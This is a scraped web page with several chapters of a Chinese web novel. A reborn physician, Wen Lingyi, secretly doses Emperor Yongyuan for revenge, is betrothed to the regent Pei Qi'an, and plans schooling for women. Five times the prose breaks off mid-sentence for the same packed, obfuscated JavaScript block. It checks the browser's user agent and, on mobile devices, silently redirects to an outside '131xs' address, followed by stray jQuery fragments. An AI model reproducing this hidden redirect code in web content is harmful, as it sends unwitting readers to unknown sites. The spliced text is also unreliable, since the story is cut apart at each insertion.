二人来到寝殿,永元帝似是没起身,隔着幔帐看不到里面的情形。 曹忠来到龙榻旁:“皇上,人带来了。” “嗯。”永元帝盘膝坐在床上,一只手搭在那女子的肌肤上,十分留恋的来回摩挲,说道:“温令仪,你好大的胆子!” 温令仪听出来了永元帝声音里的疲惫和兴奋,跪在地上:“皇上冤枉臣女了,臣女用药,剂量上不敢一丝一毫偏颇,药和药膳搭配,见效是应该的,并且臣女今日所用药物的剂量,只是八成。” 永元帝心里狂喜,八成? 这才八成就能让自己生龙活虎一般,若是十成的话,怎么可能子嗣难求?那还不瓜瓞绵绵嘛! 思及此,冷声:“玉琢可在?” “臣,在。”裴祈安上前拱手。 永元帝问道:“你与朕同用了药膳,可觉得身体有什么不妥之处?” “并无。”裴祈安回道。 永元帝暗暗点头,裴祈安不能人道,对食可以,就算也买了几个孩子入府,到底不是血脉传承,能有什么出息?不足为虑! “为何摄政王没有效果?”永元帝问温令仪。 温令仪回道:“药膳,谁都能用,谁用都是温补的效果,摄政王没有用药,自然不会有什么反应,就算是摄政王用了药,也不会如皇上这般,因为病情不同。”温令仪轻轻地叹了口气:“摄政王的病,比皇上的要复杂得多,底子坏掉了,就算是补,那也跟破筛子装水一般。” 言外之意,补也没用。 “曹忠,去温家传旨,温令仪这三日都在宫中。”永元帝说。 曹忠接旨。 永元帝让裴祈安送温令仪去偏殿,并且让裴祈安陪着。 裴祈安往外走的时候,斜睨了一眼温令仪,竟然说自己跟破筛子似的?真是睁眼说瞎话!自己明明是擎天柱! 回头必定要好好教训她的,还要多多教训。 温令仪清了清嗓子,被人这么盯着,真是不舒服。 接下来三日,永元帝确定自己真的可以了,并且夜里操劳的厉害也无妨,早朝都神清气爽,从没有过的舒坦,心情都好了不少。 可温家这三天犹如放在油锅里一般难捱,不敢打听,宫里也没人送消息出来,唯一能让一家人都安慰点儿的,莫过于裴祈安一直都陪在温令仪身边。 下了早朝,永元帝春风满面的带着裴祈安回到了御书房,偏殿门口,温令仪正在挑拣草药,旁边碾船里有碾好的药粉,还有一些草药包放在小几上。 “皇上。”温令仪跪下给永元帝请安。 永元帝点了点头:“温令仪,你功不可没,无需跪拜,起身吧。” “谢皇上。”温令仪起身立在旁边。 永元帝进了御书房,裴祈安在门口的时候看了一眼温令仪,见她眉眼弯弯的在笑,收回目光也不自觉的勾起了唇角,不过很快那么笑意就隐去了。 永元帝叫来了曹忠,拟旨封赏,温令仪摇身一变成了凤阳郡主。 宣旨的事交给了裴祈安。 裴祈安领旨护送温令仪回家,宣旨。 温令仪交代曹忠,草药熬制不能假手于人,所以磨成药粉,每日晚间让皇上服下,药膳随后再用,药膳所需都已经包好了,并且如何熬制的法子也教给了曹忠,事情料理妥当,温令仪才离开。 前脚二人刚走,永元帝立刻又拟旨了。 马车到了镇国公府门口,温令仪下了马车,门房差点儿把鞋子跑丢了去通禀。 裴祈安双手擎着圣旨,立在门口。 温家人都出来接旨,看到温令仪全须全尾的回来,温老夫人眼圈都红了。 迎了裴祈安入内,设香案接旨。 封赏收下后,温令仪接了圣旨,从此以后就是凤阳郡主了,并且赐了郡主府,不知道是有意还是无意,郡主府竟是之前的秦国公府,不过皇上说得明白,着人修缮之后,再住进去。 宣旨完毕,裴祈安被请到了书房,温城问起来这几日在宫中的情形,裴祈安都说了。 温城捋着胡须:“原来是这样啊。” 别的话没说,也没来得及说,外面竟又来了圣旨。 裴祈安还没走,只能在书房里坐着,温家人都出去接旨,结果宣旨太监说:“皇上吩咐了,这道圣旨摄政王一同接旨。” 裴祈安当下就明白是什么意思了,永元帝怕自己不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168745|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意娶温令仪,先让自己来宣旨,随后圣旨到的时候,自己就在温家,这件事一点儿转圜余地都没有。 呵!都要谢谢郎家八辈祖宗了,他才不需要什么转圜呢! 过来跪倒接旨。 果不其然,赐婚! 温家人都面面相觑,裴祈安只跟温城交代了一句:“祖父,容后我再登门。” 裴祈安接了圣旨,那是火急火燎就去宫里了。 永元帝正在看名册,他如今可不是以前了,温令容再好也是个下堂妇,自己身为一国之君,能对个下堂妇有什么感觉? 选秀是必然的,充盈后宫也是必然的,但自己要做到心里有数,后位不是随便给的! “皇上,摄政王到了。”曹忠低声:“在外面跪着呢。” 永元帝噗嗤笑了,就知道裴祈安沉不住气,这是一肚子火来找自己算账了。 “去把皇长公主的朝服请出来,还有皇长公主的印玺,皇长公主府的钥匙。”永元帝说。 曹忠立刻退下了。 裴祈安在外面跪着,见曹忠离开,并不曾让自己进去,微微的蹙眉。 不一会儿,两个宫女小心翼翼的抬着衣服架子,架子上的朝服让裴祈安的嗓子眼都紧了,祖母的朝服! 在两个宫女身后,一个宫女捧着印玺盒子,另一个小太监捧着个小小的钥匙盒。 裴祈安心里了然。 屋子里都安排妥当,永元帝让裴祈安进门。 裴祈安进门就跪下了:“皇上,请您收回成命,微臣不想两家结怨。” “姑祖母的血脉,只存一缕,朕心里有数。”永元帝起身过来扶着裴祈安的双臂:“有过子无过孙,温令仪有个女儿,回头再收养几个儿子,也算是香火传承了,玉琢,当着姑祖母的面,你能不孝?” 裴祈安抬头,眼圈已红:“皇上,臣,不愿意自欺欺人。” “玉琢,卫国公府可以不要,中山王的爵位也不及摄政王尊贵,但公主府还在,这些年都有人照料,你在公主府成亲,也算是告慰姑祖母的在天之灵了,也让朕为当**,赎一赎罪吧。”永元帝说的那叫一个情真意切。 裴祈安叩首在地:“可是,温家会恨死微臣啊,微臣可以娶寻常女子,给她富贵荣华,温令仪本就荣宠至极啊。” “朕的表兄娶妻,门当户对,谁敢嚼舌头就拔了!去,筹备婚事,钦天监那边自去请期。”永元帝沉声:“难道玉琢要抗旨不尊?” 第285章 治好摄政王的药 裴祈安跪在地上一声不吭。 “好了,娶妻是大事,如今你位极人臣,谁还敢说三道四不成?”永元帝颇有些苦口婆心。 裴祈安无奈的摇头,依旧是一声不吭。 永元帝脸色一沉:“朕都不忌惮温家手握兵权,玉琢,若是温家跟别家联姻,到时岂不成了心腹大患?” “皇上。”裴祈安抬头:“臣,遵旨。” 永元帝立刻笑了,拉着裴祈安起身:“如此才是为江山社稷着想,温令仪医术不错,你们成婚之后,她必定会仔细为你调理身体,兴许还有天降之喜呢。” 裴祈安只能无奈苦笑,拱手一礼:“臣必定不会让温家觉得受了怠慢。” 永元帝满意的点头。 赏赐送到了摄政王府,差人把原本的秦国公府收拾干净,御赐郡主府金匾挂上,京城街头巷尾,百姓津津乐道,若是旁人只能羡慕两句,可这是温令仪啊,曾经在时疫来临,流民**城外的时候,以一己之力护京城无虞的奇女子,更是奔赴泾河府,为百姓治疗时疫的救星,要说让人意难平的,莫过于婚姻确实太不好了,前头一个晏怀卿已是人间绝品中山狼,现如今这摄政王,唉,天阉之人,多让人一言难尽啊! 外面风言风语不绝,但绝对不耽误摄政王府登门提亲,聘礼的马车浩浩荡荡,小定的礼都比寻常官员人家的正经聘礼还多,更不用说寻常百姓人家了。 择期是大事,裴祈安亲自带着庚辰贴去了钦天监。 钦天监里,盘膝打坐的钦天监监正蓝少康听到脚步声,缓缓地睁开了眼睛。 “蓝兄。”裴祈安拱手一礼。 蓝少康起身做了个请的姿势,二人去了隔壁茶室。 茶室内,蓝少康撩起袍子跪倒在地:“少主折煞属下了,担不起如此称谓,恭喜少主觅得良缘。” 裴祈安扶着蓝少康起身,让他坐下来,递上庚辰贴:“择期。” 蓝少康知道为何少主会来钦天监,打从自己执掌钦天监开始,到如今已经二十二个年头了,少主是第一次来,择期,要看生辰,生辰里有太多秘密了。 双手举起的蓝少康接过去庚辰贴,眼眶湿润。 他是国公爷捡的孤儿,国公爷说他是十灵日的孩子,学玄成就可在裴家所有人之上,而他做到了,如今尚有一事牵绊着,那便是未曾报答国公爷救命之恩,未曾报答国公爷的知遇之恩,授业之恩。 幸好,国公爷还有血脉存于世,他守在钦天监就是在等一个机会,等一个报恩的机会。 把庚辰贴放在香案上供奉,回身行礼:“属下去沐浴更衣。” 裴祈安微微点头。 等蓝少康再回来的时候,焚香**,良久才打开庚辰贴,研墨提笔,开始推演二人八字。 推演到裴祈安已有了一双儿女的时候,蓝少康抬头看了眼裴祈安:“少主曾出使西域三十六国,有一命定死劫,已过,但在属下看来,本是无解的死局。” 裴祈安看着蓝少康。 蓝少康似乎也并不是想要什么答案,而是看温令仪的八字,温令仪八字先开花后结果,也就是说第一胎是女儿,第二胎是儿子,抬起手快速起卦,惊得站了起来,走到裴祈安面前扑通跪倒:“少主,您与温家二小姐的命,属下看不透。” 如何看?两个本就该**的人,都活着! 他早就看过大夏国运,从太子横死,大夏国运就已经没了,偏偏揭竿而起的义军没有成气候,诸侯割据的情况没出现,这已经让人费解了,更不用说西域三十六国的共主不显,西凉灭国,诸多费解的事,突然在这一刻就通透了,原来这两个闯过了死劫的人,未来已不在自己能测算之列了,这边是人算不如天算! 裴祈安伸出手扶着蓝少康起身:“只需按照我与郡主的八字择个良辰吉日完婚就好。” “少主,您与郡主的命格,度过死劫,哪天都是良辰吉日。”蓝少康说。 裴祈安收回手:“择个最好的。” “是。”蓝少康见裴祈安如此淡然,心终于平静了,原来少主早就知情。 择日在六月十八这一日,太近不好准备婚礼所需,太远只怕耽误了少主的大事,蓝少康择日后,裴祈安离开。 前脚裴祈安刚走,皇上身边的小太监就到了,蓝少康写了日子交给小太监,等送走了小太监后,立刻闭关去了。 裴祈安拿到了择好的良辰吉日,登门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168746|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温家,定下了大聘的日子后,便鲜少露面。 温家,温令仪住进了郡主府。 小囡囡带着容氏母女三人住在梅香苑,小李氏带着小公子住在了迎晖院,温令仪住在了锦绣院里,府里上下的仆从杂役,丫环婆子都是温府那边调拨过来的。 虽说修葺一新,可到底还是原来的格局,温令仪走在青石板的路上,往事一幕幕的涌上心头。 重生归来,尘埃落定,这便是自己想要的结果,若说还有不完美的地方,那就是没有能手刃前世杀了温家满门的永元帝,但不着急,该还的早晚都要还回来! 一切安排妥当,温令仪入宫谢恩。 谢恩是假,给永元帝诊脉是真,送药才是目的。 十几日过去,永元帝整个人都容光焕发,见到温令仪的时候,眉眼都和煦了,免了跪拜礼,赐座。 温令仪给诊脉后,取出来锦盒捧在掌心:“皇上,这是药王谷特有的培元固本药,臣女制成了丸剂,更便于服用,药效也更好些,只需要每日卯时用人参汤送服一丸就可。” 永元帝给曹忠递了个眼色,曹忠立刻过去取了锦盒送到永元帝手中,打开锦盒刹那,香气四溢,别说服下了,闻一闻都觉得神清气爽。 “好!”永元帝不疑有他,主要因这些日子,他越发觉得精力旺盛犹如回春一般,尚药局的太医没有一百也有八十,哪个能跟温令仪比? 温令仪低垂眉眼。 永元帝让曹忠把锦盒收起,打量着温令仪良久:“温令仪,你有一个义女。” “是,跟我被害的孩儿同年。”温令仪回答的十分淡定。 永元帝点了点头:“如今,还有个在襁褓里的幼子。” “是,皇上,此事也跟摄政王说明了,幼子如今不足百日,养在身边不会有任何嫌隙。”温令仪抬眸:“皇上,您说呢?” 永元帝微微蹙眉:“你的意思要对外宣称,这个孩子是你跟摄政王的亲生骨肉?” 温令仪起身,跪在地上:“皇上,这便是臣女说能治好摄政王的药。” “这!”永元帝倒吸了一口冷气,盯着温令仪的发顶,这个女人,好盘算啊!自己是不是看走眼了? 第286章 点亮心灯的人会发光 永元帝打量着温令仪:“你的名声不要了?” “臣女还有什么名声呢?”温令仪低垂着眉眼,无悲无喜的声音透着沧桑。 世人眼中,她是什么样子重要吗?若只能活在被人的两片嘴皮子里,那自己早就连葬身之地都没了。 如今,她早就平静了,特别是看到永元帝的时候,平静的犹如深潭,犹如古井。 她从来不是个贪心不足的人,上一世只为了能跟良人相守白头,结果显而易见。 这一世只为了报仇,从上一世带来的仇恨是她能重生的契机,这世上从来没有绝对的公平,**怎及快意恩仇? 永元帝才是自己最大的仇人,因为他杀了自己所有的亲人。 抢了他的江山不够的,这江山早就烂透了,要他的命是必须的,非但要他死,还要让他身败名裂! 永元帝没有点头也没有摇头,赐婚圣旨下了,昭告天下后,他就不能收回成命打自己的脸,只是觉得裴祈安未必能在温令仪手里讨到任何好处,这两个人也算是互相掣肘,牵制彼此,未必是坏事。 在永元帝心里还有另外一件大事要做,那就是选秀,广开后宫。 温令仪回到郡主府待嫁,温家、宋家都齐聚,为温令仪操持嫁妆事宜,外人如何揣测不重要,在自家人心里都清楚,这是顶顶好的良缘,特别是温夫人,每天都笑容满面,自己的外孙女和外孙都能名正言顺,她的心就踏实了。 天阉之人的摄政王要娶妻,这本来就足够让京城里的人热闹一段日子了,可这件事很快就没人再提起了,因皇上下旨选秀,凡家世清白,年满十五岁的姑娘都可入宫参加选秀。 不再只是官宦小姐才有资格,能飞上枝头做凤凰的机会对任何人都有着致命的诱惑。 并且不仅限于京城,各地官府都要遴选上等的美人儿入宫。 与此同时,宫中的宫女年纪大的都放了出来,显然永元帝要把后宫彻底处理干净。 而天家的事,谁敢置喙?就算茶余饭后想要说一说,可奈何寻常人只知道那是雕梁画栋,堆金砌玉的富贵窝。 郡主府里,温令仪在灯下看书,这些日子陆续有人把墨染留下的书送到了京城,温令仪专门清理出来一个院子,这些书分类收好,再着人抄写数十份备用。 将来,一定都能派上用场,温令仪看过几册之后,越发笃定了。 有墨染的书,还有上官子玉的财富,有一天大夏的百姓会真正安居乐业,受她们恩惠的。 “阿宁。” 温令仪抬头,见裴祈安长在门口。 勾起唇角笑了:“怎么得空过来了?” 裴祈安走到温令仪身边坐下来,很自然的抬起手拉她入怀:“一日不见如隔三秋,你不知道这些日子我忍耐的多辛苦。” 温令仪轻轻地拉着裴祈安的革带:“宫里有消息了?” “嗯,已经一发不可收拾了,夜夜笙歌,今晚更是脱缰野马一般,曹忠送出来消息,怕那人死在这上面。”裴祈安看着温令仪。 温令仪笑了:“现在还不至于,药可不是最重要的,他想要子嗣才是根子。” “我后悔咱们的婚期定在了六月。”裴祈安是真担心永元帝活不到六月,到时候就耽误了自己的大事。 温令仪抬起手理了理鬓边的发丝:“如今刚二月中,正该是农忙的时候,让百姓好好农耕,这是关乎百姓活命的大事。” “对了,方静言去了泾河府。”裴祈安取出来书信:“你看。” 温令仪拿过来厚厚的书信,看了眼裴祈安,毕竟写书信都是为了传递消息,言简意赅才是重点,不用看,单就这个份量足以证明里面内容可不少。 打开书信,温令仪看得眼睛冒光,逐字逐句看完后,心里那种欢喜难以名状,她起身从架子上取下来一本书递给裴祈安:“裴祈安,你看!” 裴祈安拿过来翻开,看了几页后也喜不自胜:“这方静言信里所说竟和墨染留下的书不谋而合!百姓之福啊!” “对啊,还有后面的农具。”温令仪翻开书信最后面的几页纸上的图,每一样农具的尺寸都标注好了。 裴祈安翻到墨染留下的书的后面,竟也是各种农具,显然墨染书里所记载的农具要更多一些,包括汲水车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170098|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用牛力汲水远比人力要强百倍啊。 “民以食为天,墨染留下这些,还有方静言,这两个人能让百姓再也不挨饿的话,何愁国力不强?”温令仪坐下来深吸一口气,让自己平静下来:“还有,要让人取走大梁宝藏,这笔银子存入宋家钱庄,五师兄若是再出海,遍寻铁矿。”温令仪说。 裴祈安点头:“确实可以。” “苍山铁矿和工匠们,要尽快把这些农具做出来,西凉最多牛羊,羊离不开草原,但牛可以,虽然未必能做到每家每户都有耕牛,可以在衙门单独设立个圈场,养牛,百姓可以养牛犊,但凡从小养大的牛犊都归百姓所有,朝廷律法要改一改,终有一日百姓可以宰杀年老的耕牛和病牛,到那个时候,百姓有了耕牛做帮手,会省下很多人力,这些人力开荒,让百姓手里的农田多起来,那粮食就会更多啊。” 温令仪越说越兴奋,脸都有些红了。 裴祈安看着温令仪,竟入了迷,他喜欢温令仪,喜欢她的每一种样子,可今天的温令仪是最鲜活的,犹如烈烈金乌一般,她从来没有如此生机勃勃过。 她并非工于心计的人,但死而复生的离奇际遇,让她不得不步步为营,从生下小囡囡后见到她的时候,浓得化不开的愁苦就一直都在温令仪的眉眼之间,只不过她从来不把这些挂在嘴上,只是在做事,用尽心思去做事,都可以预见,当她杀了那些仇人的时候,或许未必快意,只是需要把这件事做了。 “阿宁,若是有一天朝堂上可有女官,如何?”裴祈安问。 温令仪一下就愣住了,定定的看着裴祈安,女官?女子能当官? “爹爹英明!”小囡囡探头笑眯眯的从外面进来,走到裴祈安面前,规规矩矩行礼:“给父亲,母亲请安。” 温令仪扶额:“怎么还没睡?” “嬷嬷这几日教了囡囡一些规矩,晨昏定省嘛,我想着过来给爹娘请安,但是爹娘聊的投机不忍进来打断,但爹爹说女官,囡囡就忍不下了。”小囡囡煞有介事的说。 裴祈安笑着抬起手捏了捏小囡囡的脸颊:“怎么?囡囡也觉得女子入仕为官,可行?” 第287章 你不觉得这是大逆不道,倒反天罡? 小囡囡郑重其事的点头:“对,女子为什么不能入仕为官?还不是因为男子怕丢了手里的权利吗?用三从四德禁锢女子的肉身,以他们能入仕为官,光宗耀祖来压住女子的精神,再用养儿育女裹挟和囚禁女子的思想,这才是真相。” 温令仪暗暗咂舌,这些话任凭谁听了去,都会说句大逆不道,可身为女子,重活一次又认识了墨染的她太明白小囡囡这话的份量了。 裴祈安沉吟良久,缓缓点头:“明熙的话,十分有道理啊。” “可是,要想改变这一切,绝非一朝一夕就能成功的,因为这样的礼仪教化传承至今,别说男人觉得本该如此,就是很多女子也是这般认为的,夫字天出头,能使使小性子,被家里人疼爱,被婆家人敬重,就打心底认为这边是顶顶好的命了。”小囡囡无奈的摇头:“根子上的问题不解决,就算让女子入仕为官,也根本改变不了什么的。” 温令仪赞赏的看着自己的女儿,嘴角都不自觉的勾起了,她知道这幅肉身里的灵魂并非自己的女儿,可那又如何?自己的女儿两世都没能留下,而自己当成女儿养大的就是眼前的小囡囡,所以这才是自己的孩子。 她相信,只要女儿能坚持初心,终有一日会成为了不起的女子,而自己在女儿羽翼未丰之前,不会离开,更要成为她的庇护。 回去药王谷隐居度日,是温令仪一直以来的退路,只不过唯有在今晚才下了决心,自己不争,谁能替自己争? 手里握着上官子玉的财富,墨染的那些书籍,还有身边的女儿,她的得天独厚中,重生似乎都不值得一提了。 嫁人,嫁过,并且很快就会二嫁了。 可婚姻里的凄风苦雨她了解,甚至她还经历了血雨腥风,赔上了一条性命。 所以,若遇不到良人,嫁人犹如进了鬼门关,踏上了黄泉路,多少女子明知道往后余生都将会生不如死,却也不敢冲破樊笼,给自己自由。 自由的代价太大了,没有了夫家的庇护,娘家也未必能挺身而出,如浮萍一般飘零在人间十几年甚至几十年,吓退了多少女子?只能选择在婚姻里饮泣吞声。 要让女子有志气,就的先让女子有脊梁,这脊梁不是娘家给的,更不是夫家给的,而是自己就是自己的千军万马,唯有做到这一点,女子可匹敌天下丈夫,到那个时候,再说一句谁说女子不如男,才叫硬气。 裴祈安偏头看温令仪:“看来,阿宁如今可绝不是当年的小姑娘了,若是有什么想法,不如说来听听?” 小囡囡有点儿紧张,更更多的是期待,望着温令仪。 温令仪深吸一口气:“其实,我想的比较简单,也还未成型。” “咱们关起门来说得是家常话,我们的女儿还太小了,锋芒毕露于她成长不利,但阿宁则不同,将来必定是要坐在该坐的位子上,是要仔仔细细的把这些想法落到实处才行啊。”裴祈安颇有些语重心长。 温令仪抬眸看裴祈安:“你不觉得这是大逆不道,倒反天罡?” “确实大逆不道,也确实倒反天罡,可在我看来,我的妻女都是倒反天罡的人,做点儿大逆不道的事怎么了?再者若此事能成,那将会是什么样的场面,我更期待。”裴祈安说到这里,顿了一下:“当然,这件事若想要办成非常不容易,会有很多很多人阻拦,因为若把天下只分成男子和女子,那让女子抬头,男子就会觉得被冒犯了,所以要从长计议。” 温令仪笑了:“既从长计议,那就不急,今夜晚了,回头我和囡囡好好商量一番,再跟玉郎说。” “对,我也请安了,回去睡觉。”小囡囡欢快的跑出去了,特别像个孩子。 裴祈安伸出手拉温令仪入怀:“怎么?你怕把女儿教歪了?” “是,也不是。”温令仪靠在裴祈安的胸前:“主要是头脑一热,夸夸其谈不难,可要落到实处,行之有效却太不容易了,改变要从细微处开始,比如办女学,至于让女子入仕为官,那需要慢慢看来,比如先让方静言入仕,看看世人如何评判。” 裴祈安低声:“我的阿宁就是聪明,听你的,先安歇了吧。” 温令仪的脸就忍不住的红了。 “嗯?怎么还害羞了?”裴祈安在她耳边轻声:“难道,隔得日子太久,生分了?” 温令仪脸都红的要滴血了:“你这人太口无遮拦了。” “遮拦什么?”裴祈安轻叹一声:“等你恢复身子的日子,比你有孕在身的时候还难熬。” …… 红罗帐暖,长夜无眠。 **翌日,温令仪醒来的时候,外面的太阳把屋子里照得通亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170099|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从窗纸透进来的阳光在器物上打出光影,竟把温令仪看呆了。 岁月静好,莫过如此。 若非心里惦记着大事,真想就这么躺在床上。 碧桃和海棠听到动静进来伺候温令仪起身。 洗漱更衣后,端来了清粥小菜,这是温令仪最喜欢的吃食,越是简单的饭菜,越是能让人心思澄静。 “碧桃,府里可有什么事?”温令仪用过饭,漱口,用帕子擦了擦嘴角,问道。 碧桃过来微微屈膝:“郡主,国公府的夫人和老夫人,宋府的老夫人和舅夫人们都在跨院那边,新来的绣娘有十几个,商量着绣样儿呢。” 温令仪抬起手压了压额角:“太失礼了,都在为我忙碌,我却贪睡到现在。” “郡主,摄政王在那边陪着呢。”海棠笑眯眯的说:“一大早摄政王就过来了,带来了不少头面首饰,珠玉宝石,还送来了个不小的箱子,说等您过去的时候再打开。” 温令仪能说什么?好人都是他做了,罢了,罢了!谁让自己摊上了呢。 收拾妥当,起身出门往跨院去,这边本是用来做客院的,如今刚好给绣娘们住着,大婚所需的物件儿不少,三个月内就要赶制出来,可想而知多忙。 温令仪进了跨院,林嬷嬷迎接过来,梨雪和棠雨本来陪着小小姐在亭子里读书,见到温令仪来了,棠雨进门去通禀。 温令仪迈步进了屋,抬头见祖母、外祖母、母亲和舅母们都笑眯眯的看着自己,有些害羞的挤出来点儿笑意,还不等说话,小囡囡就拉着裴祈安的衣袖说:“父亲,你说的宝贝快打开,娘亲来了。” 裴祈安笑着走到温令仪跟前,拱手一礼:“阿宁,这份礼,还是由你亲自打开吧。” 温令仪趁着别人看不到,瞪了裴祈安一眼,结果见裴祈安眼角眉梢都染了笑意,只能别开目光,生怕被长辈们看出端倪,那多难为情啊。 殊不知,温老夫人看宋老夫人,两位都笑得见牙不见眼的,天可怜见,阿宁终于有了个好归宿呢。 温令仪走到描金的箱笼前,接过裴祈安递来的钥匙,轻轻地打开了金锁,掀开箱笼盖子的时候,小囡囡都瞪大了眼睛,捂着小嘴儿怕惊呼出声。 温令仪**一步,偏头问裴祈安:“这,不合规矩吧?” 第288章 你有什么苦衷? 温老夫人往箱子里看了眼,只看到了凤冠最上面的红宝石,微微蹙眉,觉得眼熟,但一时想不起来,低头刹那猛地瞪大了眼睛,要不是这些年的养气功夫练得炉火纯青,怕是都会晕过去。 捏着帕子的手微微颤抖,脸色也苍白了些许。 “这是怎么了?”宋老夫人伸出手,轻轻地压住了温老夫人颤抖的手,当着晚辈,特别是新婿面前,可不能弱了气势,再说了,宋家什么没见过? 温老夫人微微摇头,压低声音:“朝服。” 朝服也不奇怪啊,宋老夫人微微蹙眉,如今外孙女要嫁给摄政王,自己也是郡主,有朝服不也是寻常事吗? 温令仪摇头:“裴祈安,这是皇长公主在建国大典上穿着的九凤朝服和九凤朝冠,对吗?” 宋老夫人一哆嗦,不禁也低下了头,她宋家确实富甲一方,甚至可以说富可敌国,但富不与官争的道理,宋家最懂! 别说皇长公主,郎家也出自中山世家,郎家大小姐和裴家联姻之时,就是为了起兵联姻的,打下了大夏江山,开国皇上郎御为了安抚群臣,更为了让三公相信他不忘功臣,特地跟龙袍一起制了九凤朝服。 当年皇长公主为了能给裴祈安求一条活路,裴家所有一切都不要,包括这一身朝服,着布衣带着裴祈安进了庵堂,正因如此,郎御才给了活路。 如今,兜兜转转,九凤朝服竟又从天家的手里回到了裴家,只不过穿在了温家女的身上了。 宋老夫人微微的眯起眼睛,这边是因果轮回,且看着吧。 “阿宁,这本就是祖母的,祖母虽然不在了,可我们完婚的时候,你穿着这身朝服就如祖母在身边,她会永远庇护我们的。”裴祈安握着温令仪的手:“我今日送来,是趁着绣娘们都在,阿宁试试合身不合身,若是有需要修改的地方也尽可修改,我还照着九凤朝服上所用的珠宝准备了一些,免得用的时候再没有合适的。” 温令仪想说什么,话到嘴边又咽回去了,她如果现在觉得自己都穿不起九凤朝服,那以后怎么能站在裴祈安的身边? “娘亲,快试试,我想要看,囡囡想要看。”小囡囡眼睛都在冒光,她虽然瞧不上古人的迂腐,可除了迂腐点儿,那可真处处都可见宝贝! 别人眼里不过是金银珠宝,但小囡囡眼里那都是古董! 温令仪轻轻点头:“好。” “阿宁,祖母帮你更衣。”温老夫人立刻站起来了,她怕啊,算算这朝服可有年头了,若是弄坏了,掉脑袋的事。 温夫人也赶紧站起来:“母亲,儿媳帮忙就好,您放心。” 温老夫人只能再次坐下。 温令仪到屏风后面,小囡囡站在旁边目不转睛的看着温令仪,一件一件的朝服穿在身上,用了一盏茶的工夫,外祖母更是厉害,亲自给女儿绾发,戴上了九凤朝冠。 碧桃和海棠搀扶着温令仪从屏风后面走出来,别说在场的人,就是裴祈安都看呆了,都说人靠衣装,佛靠金装,温令仪穿上九凤朝服,威仪自显,既有不可冒犯的威严更有眉眼间特有的宁静和温柔。 裴祈安清了清嗓子,走过来对温夫人拱手:“母亲,若有不合适的地方,可以改一改。” “好。”温夫人轻轻点头。 绣娘都过来,小心翼翼的检查,但凡有需要修补的地方都标记下来,检查过后,下人搬进来衣架,朝服一件件都挂在偏房里。 裴祈安告辞离开,温令仪便坐下来陪着祖母和外祖母说话儿。 宋老夫人心里都感慨,温家这也算是好起来了,想想过去那些年,温家过得多不容易,宋家最知道,如履薄冰,刀尖上求活,哪有如今的太平景象。 “祖母,外祖母,你看这些绣娘们自己能做工,赚银钱贴补家用,穷苦人家的女子从小就得摸针拿线,少的便是正经的绣技。”温令仪说。 宋老夫人接过去话茬儿:“傻孩子,这但凡叫个手艺,都是不肯外传的,教会了徒弟饿**师父,人啊,总是重利轻义的。” “阿宁,你的心是好的,但人心难测,更不用说人心叵测了。”温老夫人也摇头。 温夫人端着热茶过来,放在两位老夫人手边,这才说:“阿宁是想要让贫家女儿学了好的绣技,自食其力,这是好事,只不过这事儿不好成。” “若是有女学呢?”温令仪说。 提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184539|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这个,温夫人都摇头了,这女学关乎的人太多,人一多了就事儿多,可没有那么容易的。 再说了,只是教绣技,办不起来女学的,穷苦人家也不可能让女儿拿着银子去学本事。 